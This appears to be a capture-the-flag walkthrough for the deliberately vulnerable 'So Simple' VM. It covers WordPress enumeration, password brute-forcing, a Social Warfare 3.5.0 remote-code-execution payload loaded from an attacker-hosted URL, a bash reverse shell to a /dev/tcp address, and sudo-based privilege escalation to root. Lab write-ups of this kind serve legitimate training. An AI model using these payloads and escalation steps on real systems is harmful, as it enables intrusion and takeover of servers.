So Simple is a beginner level vulnerable box created by @roelvb79, with some rabbit holes and good methodologies to easily understand how a pentester has to run public exploits work in OSCP-like VMs.

Table of Content

1. Reconnaissance
   1. Arp-scan to detect system IP
   2. Nmap to detect open ports
   3. Wpscan to enumerate wordpress installation
   4. Bruteforcing a username to gain password
   5. Finding an outdated plugin social warfare
2. Exploitation
   1. Exploiting RCE using social warfare plugin
3. Privilege Escalation
   1. Gaining max’s account using ssh key
   2. Escalating to steven using sudoers file
   3. Escalating to root using sudoers file
4. Snagging the flag

Let’s start

Reconnaissance

To start off, I ran an arp-scan and nmap on the target IP 192.168.56.105 to find out the open ports and services.

There was not much to be seen on the website so I ran a directory enumeration using gobuster to find a wordpress installation on the target

Next obvious step was to enumerate wordpress using wpscan and find any usernames or vulnerable plugins installed.

I found a wp-admin panel and a user “max” and no vulnerable plugin was found during this step.

After exploring alternate options and all the directories there was no lead to find the password for max. Hence, the next most obvious step was to bruteforce max using a given password list.

I used rockyou.txt and wpscan itself to bruteforce the login for user “max”

There we go! I found a suitable credential for wp-admin login: max/opensesame

But, wait a minute, there was also a vulnerable plugin displayed in this step which is weird since it wasn’t visible in the previous enumeration phase. Anyway, I logged in using max:opensesame credentials.

I tried to upload a shell or include a vulnerable code that could somehow help me to gain a reverse shell out of the server but it was in vain. There is no option to install a plugin or code. This hinted me to pivot back to the last step where I found a vulnerable plugin “social warfare.” After a bit of research, I found that the installed version 3.5.0 is vulnerable to an RCE exploit! You can read more about this exploit here.

Exploitation

So, as per the PoC steps, I had to launch our own server with a text file that had a payload and the server would execute it. This is a classic example of RCE. I launched my own python server and created a payload.txt file with the following code in it to check if it is exploitable or not.

<pre>system('cat /etc/passwd')</pre>
File: payload.txt
python3 -m http.server 80

Now to run this payload I had to navigate to the following address:

http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt

So it was found to be exploitable. Next step is obviously to launch a code that would give us a reverse shell back. Hence I changed the payload.txt with the reverse shell payload of netcat by pentest monkey but it didn’t work for me. Next, I included the reverse bash payload by a pentest monkey which is:

bash -i >& /dev/tcp/192.168.56.102/8080 0>&1

To execute it in a PHP format I had to change the payload to:

<pre>system("bash -c 'bash -i >& /dev/tcp/192.168.56.102/8080 0>&1'")</pre>

On visiting the same URL in the browser and setting up a netcat listener on port 8080 I got a reverse shell!

Privilege Escalation

At this point, the author of the VM had created another rabbit hole which just consumed more time and trolled me.

Eventually, I got back to the basics and tried accessing max’s account to look for insecure permissions given to important files as I should have which lead me to the private ssh key of max having read permission.

I copied this private key in my local system and connected to max’s SSH using this key.

Now we had max’s terminal! I looked for files with SUID permissions, docker images other directories that may escalate the privileges but I found nothing. I looked for any entry in the sudoers file and I found a binary that could run as another user steven.

This binary seemed to run any installed service on the system. Hence, I supplied an argument that could give me steven’s shell.

sudo -l
sudo -u steven /usr/sbin/service ../../bin/bash

On accessing sudoers entry for steven I found another script that could run as root without password. But the catch is that that script didn’t exist physically. So I created a directory /opt/tools and a script server-health.sh with the following code:

#
!/bin/bash
bash

Snagging the flag

I changed the permissions of this file and then ran the script as root. We got a root shell! I read the congratulatory flag finally!

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here